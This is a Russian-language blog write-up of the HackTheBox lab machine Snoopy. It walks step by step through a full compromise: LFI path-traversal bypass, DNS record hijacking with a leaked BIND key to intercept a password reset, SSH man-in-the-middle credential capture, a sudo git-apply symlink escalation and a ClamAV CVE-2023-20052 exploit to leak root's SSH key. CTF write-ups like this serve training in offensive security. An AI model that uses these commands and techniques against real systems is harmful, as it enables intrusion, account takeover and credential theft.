Блог

Разбор HackTheBox — Snoopy (Hard)

Сложность:Hard
ОС:Linux
Баллы:40
IP:10.10.11.212
Теги:LFI, DNS, SSH MitM, Sudo Bypass, CVE-2023-20052

Краткое описание решения

После первичной разведки веб-приложения мы обнаруживаем потенциальные имена пользователей, дополнительный сервис Mattermost и LFI, позволяющий читать произвольные файлы на целевой машине. Далее, с помощью перехвата письма с кодом восстановления, получим доступ к учётной записи пользователя sbrown в сервисе Mattermost. Перехватив подключение по SSH от другого пользователя — получим доступ к учётной записи целевой машины cbrown. Затем, с помощью особым образом подготовленного репозитория и прав на исполнение команд от лица пользователя целевой машины sbrown, загрузим открытый ключ атакующего и подключимся снова к целевой машине, но уже с правами пользователя sbrown. Получили флаг пользователя sbrown. Затем, обнаружив, что утилита clamscan уязвима к атаке на обработчик DMG файлов (CVE-2023-20052) скопируем приватный ключ пользователя root и получим флаг пользователя root.

Фаза разведки

Проведём сканирование цели:

nmap -sV -sC -O -p- 10.10.11.212

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 ee:6b:ce:c5:b6:e3:fa:1b:97:c0:3d:5f:e3:f1:a1:6e (ECDSA)
|_  256 54:59:41:e1:71:9a:1a:87:9c:1e:99:50:59:bf:e5:ba (ED25519)
53/tcp open  domain  ISC BIND 9.18.12-0ubuntu0.22.04.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.18.12-0ubuntu0.22.04.1-Ubuntu
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: SnoopySec Bootstrap Template - Index

Обнаружили, что к целевой машины доступны сервисы SSH, DNS и веб-страница.

Сразу же добавим домен в /etc/hosts:

# HTB
10.10.11.212    snoopy.htb

Далее, просмотрим основные разделы страницы на предмет полезной информации:

Возможные внутренние пользователи сервисов: cschultz, sbrown, hangel, lpelt

На основной странице веб-сервиса мы обнаружили исходя из сообщения, что происходит миграция DNS записей на новый домен и, что почтовый сервер mail.snoopy.htb временно отключен.

Далее осуществим сканирование директорий доступных в сервисе на предмет полезного лута. Для этого воспользуемся любым сканером, который будет Вам привычнее и удобнее:

gobuster dir -x php,txt,html -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://snoopy.htb

/index.html           (Status: 200) [Size: 23418]
/contact.html         (Status: 200) [Size: 10248]
/about.html           (Status: 200) [Size: 16614]
/assets               (Status: 301) [Size: 178] [--> http://snoopy.htb/assets/]
/forms                (Status: 301) [Size: 178] [--> http://snoopy.htb/forms/]
/team.html            (Status: 200) [Size: 11115]

Ранее, при сканировании открытых портов и сервисов, мы обнаружили сервис DNS. Проведём разведку с помощью инструмента dig:

dig axfr @10.10.11.212 snoopy.htb

; <<>> DiG 9.18.16-1-Debian <<>> axfr @10.10.11.212 snoopy.htb
; (1 server found)
;; global options: +cmd
snoopy.htb.             86400   IN      SOA     ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
snoopy.htb.             86400   IN      NS      ns1.snoopy.htb.
snoopy.htb.             86400   IN      NS      ns2.snoopy.htb.
mattermost.snoopy.htb.  86400   IN      A       172.18.0.3
mm.snoopy.htb.          86400   IN      A       127.0.0.1
ns1.snoopy.htb.         86400   IN      A       10.0.50.10
ns2.snoopy.htb.         86400   IN      A       10.0.51.10
postgres.snoopy.htb.    86400   IN      A       172.18.0.2
provisions.snoopy.htb.  86400   IN      A       172.18.0.4
www.snoopy.htb.         86400   IN      A       127.0.0.1
snoopy.htb.             86400   IN      SOA     ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400
;; Query time: 187 msec
;; SERVER: 10.10.11.212#53(10.10.11.212) (TCP)
;; WHEN: Tue Aug 01 13:17:32 MSK 2023
;; XFR size: 11 records (messages 1, bytes 325)

Похоже, что сервисы доступные по адресу snoopy.htb и mm.snoopy.htb расположены на одном IP адресе, в отличие от остальных. Добавим поддомен в файл /etc/hosts и посетим его. Нас встречает форма авторизации сервиса Mattermost — сервиса с открытым исходным кодом для совместной работы технических команд наподобие Slack.

Безуспешно попытавшись перебрать пароли потенциальных учётных записей и обратив внимание на возможность восстановления забытого пароля для пользователя sbrown — вернёмся к основному веб-сервису целевой машины.

LFI

Основная страница сервиса предоставляет пользователю возможность скачивания файла с некоторыми сведениями, которые сами по себе нам неважны. Перехватим этот запрос и проанализируем его:

GET /download?file=announcement.pdf HTTP/1.1
Host: snoopy.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://provisions.snoopy.htb/
Upgrade-Insecure-Requests: 1

При первой попытке развить уязвимость LFI до эксплуатации, кажется, что сервис защищён:

Но, если воспользоваться одной из частых техник обхода защиты от LFI(....//), то получим следущее:

Скачав и распаковав этот файл получим следующее:

unzip press_release.zip 
Archive:  press_release.zip
  inflating: press_package/etc/passwd  
                                                                                             
cat press_package/etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
cbrown:x:1000:1000:Charlie Brown:/home/cbrown:/bin/bash
sbrown:x:1001:1001:Sally Brown:/home/sbrown:/bin/bash
clamav:x:1002:1003::/home/clamav:/usr/sbin/nologin
lpelt:x:1003:1004::/home/lpelt:/bin/bash
cschultz:x:1004:1005:Charles Schultz:/home/cschultz:/bin/bash
vgray:x:1005:1006:Violet Gray:/home/vgray:/bin/bash
bind:x:108:113::/var/cache/bind:/usr/sbin/nologin
_laurel:x:999:998::/var/log/laurel:/bin/false

Обнаружили несколько пользовательских учётных записей (cbrown, sbrown, lpelt, cschultz), а также сервисную учётную запись bind.

Перехват кода восстановления на mm.snoopy.htb

Bind — сервис преобразования имён, который сопоставляет и назначает доменные имена соответствующим IP адресам. Ранее, мы выяснили, что почтовый сервис mail.snoopy.htb временно отключен. Таким образом, если мы верно сконфигурируем на машине атакующего почтовый сервис и заставим целевую машину разрешать IP адрес машины атакующего как mail.snoopy.htb, то мы сможем перехватывать коды восстановления паролей на странице mm.snoopy.htb.

Набрав достаточное количество сведений о работе сервиса Bind выясним, что основная конфигурационная информация и секретный ключ для работы сервиса находится в файле /etc/bind/named.conf

Воспользовавшись LFI получим этот файл:

// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the 
// structure of BIND configuration files in Debian, *BEFORE* you customize 
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

key "rndc-key" {
    algorithm hmac-sha256;
    secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};

Для перехвата скопируем ключ в файл dns_key, чтобы он выглядел следующим образом:

key "rndc-key" {
    algorithm hmac-sha256;
    secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};

И далее обновим записи NS с помощью команды:

nsupdate -k dns_key

> server 10.10.11.212
> update add mail.snoopy.htb 86400 A yourIP
> send

Запустим почтовый Python сервис для приёма писем, содержащих код восстановления доступа к учётной записи сервиса mm.snoopy.htb:

python3 -m smtpd -n -c DebuggingServer yourIP:25

Главный кандидат на перехват кода восстановления — пользователь sbrown, у которого ранее была обнаружена возможность восстановления доступа к учётной записи таким образом. Запросим код восстановления доступа к УЗ при запущенном почтовом сервисе:

python3 -m smtpd -n -c DebuggingServer yourIP:25
---------- MESSAGE FOLLOWS ----------
mail options: ['BODY=8BITMIME']
b'MIME-Version: 1.0'
b'Subject: [Mattermost] Reset your password'
b'Content-Transfer-Encoding: 8bit'
b'Precedence: bulk'
b'Reply-To: "No-Reply" <no-reply@snoopy.htb>'
b'Message-ID: <hngiw4pg3pl0e5rm-0193884726@mm.snoopy.htb>'
b'To: sbrown@snoopy.htb'
b'Auto-Submitted: auto-generated'
b'From: "No-Reply" <no-reply@snoopy.htb>'
b'Date: Tue, 01 August 2023 13:13:24 +0000'
b'Content-Type: multipart/alternative;'
b' boundary=1eb180a975434612f4fc222189f028924f0b3953f96434f4a070947e60ef'
b'X-Peer: 10.10.11.212'
b''
b'--1eb180a975434612f4fc222189f028924f0b3953f96434f4a070947e60ef'
b'Content-Transfer-Encoding: quoted-printable'
b'Content-Type: text/plain; charset=UTF-8'
b''
b'Reset Your Password'
b'Click the button below to reset your password. If you didn=E2=80=99t reques='
b't this, you can safely ignore this email.'
b''
b'Reset Password ( http://mm.snoopy.htb/reset_password_complete?token=3D4u33c='
b'2cn7p1zj1ojbrzh0qw72m1trtne700j27kbk8d38v7yac2lax9lus6orda6 )'

Успешно перехватили письмо, содержащее ссылку на восстановление пароля, перейдя по полученной ссылке сбросим пароль УЗ:

http://mm.snoopy.htb/reset_password_complete?token=4u33c2cn7p1zj1ojbrzh0qw72m1trtne700j27kbk8d38v7yac2lax9lus6orda6

Вводим новый пароль и авторизуемся в сервисе mm.snoopy.htb.

Получение пароля SSH посредством MitM

Получили доступ к сервису для DevSecOps. В чате идёт обсуждение антивируса с открытым исходным кодом ClamAV, возможно это окажется полезным при повышении далее.

Пользователю sbrown доступен ряд действий в сервисе совместной работы Mattermost, узнать что это за действия можно введя символ /:

Рассмотрев все действия остановимся на наиболее интересном — /server_provison.

Похоже, что это действие связано с автоматизацией обеспечения доступа к удалённому сервису для конфигурации по нестандартному порту 2222 (опция 5985 недоступна).

Укажем в качестве параметров пользователя — sbrown@snoopy.htb, а в качестве адреса сервера IP адрес машины атакующего. Откроем и перехватим подключение с помощью netcat:

nc -nvlp 2222

Connection from 10.10.11.212:39472
SSH-2.0-paramiko_3.1.0

Выяснили, что подключение к нестандартному порту происходит по протоколу SSH.

Мы можем перехватить такое приходящее соединение с помощью модуля Python — sshmitm. Запустим сервер перехвата и отправим вновь запрос с помощью /server_provision:

python3 -m sshmitm server --remote-host 10.10.11.212 --listen-port 2222

───────────────────────────── SSH-MITM - ssh audits made simple ─────────────────────────────
Version: 3.0.2
License: GNU General Public License v3.0
Documentation: https://docs.ssh-mitm.at
Issues: https://github.com/ssh-mitm/ssh-mitm/issues
─────────────────────────────────────────────────────────────────────────────────────────────
generated temporary RSAKey key with 2048 bit length and fingerprints:
   MD5:[...]
   SHA256:[...]
   SHA512:[...]                                                                                         
listen interfaces 0.0.0.0 and :: on port 2222
────────────────────────────────── waiting for connections ──────────────────────────────────
[08/01/23 14:40:06] INFO     ℹ session 9a94617f-be69-49bf-90fd-765beb3fbeee   
                             created                                                         
                    INFO     ℹ client information:                             
                               - client version: ssh-2.0-paramiko_3.1.0        
                               - product name: Paramiko                                      
                               - vendor url:  https://www.paramiko.org/                      
                             ⚠ client audit tests:                                
                               * client uses same server_host_key_algorithms list for        
                             unknown and known hosts                                         
                               * Preferred server host key algorithm: ssh-ed25519            
[08/01/23 14:40:08] INFO     Remote authentication succeeded                   
                                     Remote Address: 10.10.11.212:22                         
                                     Username: cbrown                                        
                                     Password: sn00pedcr3dential!!!                          
                                     Agent: no agent

Выяснили, что подключение происходит со стороны целевой машины с учётными данными пользователя: cbrown:sn00pedcr3dential!!!

Это данные для подключения другого пользователя, чем тот, от лица которого мы получили доступ к сервису Mattermost, но, возможно, подключившись к целевой машине по SSH нам удастся повысится и получить доступ к другим пользователям.

Повышение до sbrown с помощью git apply

Подключившись к целевой машине проверим нет ли у пользователя cbrown прав на исполнения команд от лица других пользователей:

Для того, чтобы с помощью данных прав получить доступ к пользователю sbrown создадим репозиторий, внутри него поместим файлы патча и публичного ключа, который будет символическим указателем на /home/sbrown/.ssh и затем выполним команду со скриншота:

git init

echo "diff --git a/cbrown/.bash_history b/cbrown/.bash_history
deleted file mode 120000
index dc1dc0c..0000000
--- a/cbrown/.bash_history
+++ /dev/null
@@ -1 +0,0 @@
-/dev/null
\ No newline at end of file
diff --git a/cbrown/.ssh/authorized_keys b/cbrown/.ssh/authorized_keys
new file mode 100644
index 0000000..8e881d1
--- /dev/null
+++ b/cbrown/.ssh/authorized_keys
@@ -0,0 +1 @@
+ssh-rsa KEY kali@kali" > patch

ln -s /home/sbrown/.ssh symlink
chmod +X /home/cbrown
chmod +X /home/cbrown/repo
sudo -u git apply -v patch

Таким образом мы поместили наш публичный ключ в домашнюю директорию пользователя sbrown и теперь мы можем подключиться по SSH. Получили флаг пользователя:

Повышение до root с помощью CVE-2023-20052

Ищем исполнимые файлы с возможностью запуска с привилегиями пользователя root: sudo -l

Исходя из вывода мы можем понять, что есть возможность запуска антивируса ClamAV с правами пользователя root для файлов, с параметром вывода отладочных сообщений для файлов, содержащихся в папке scanfiles домашней директории текущего пользователя.

Дальнейший поиск возможных эксплоитов привёл к обнаружению уязвимости обработчика файлов формата DMG — CVE-2023-20052. Воспользуемся следующим Git проектом для эксплуатации уязвимости и подготовим DMG файл с полезной нагрузкой согласно инструкции:

https://github.com/nokn0wthing/CVE-2023-20052/tree/main

Подготовив DMG файл поместим его в необходимую директорию на целевой машине и запустим команду:

sudo clamscan —debug /home/sbrown/scanfiles/exploit.dmg

Получили приватный ключ пользователя root:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[...]
atU0AwHtCazK8AAAAPcm9vdEBzbm9vcHkuaHRiAQIDBA==
-----END OPENSSH PRIVATE KEY-----

Подключимся с его помощью к целевой машине по SSH и получим флаг пользователя root.

Ссылки:

https://github.com/ssh-mitm/ssh-mitm

https://book.hacktricks.xyz/pentesting-web/file-inclusion

https://nvd.nist.gov/vuln/detail/CVE-2023-20052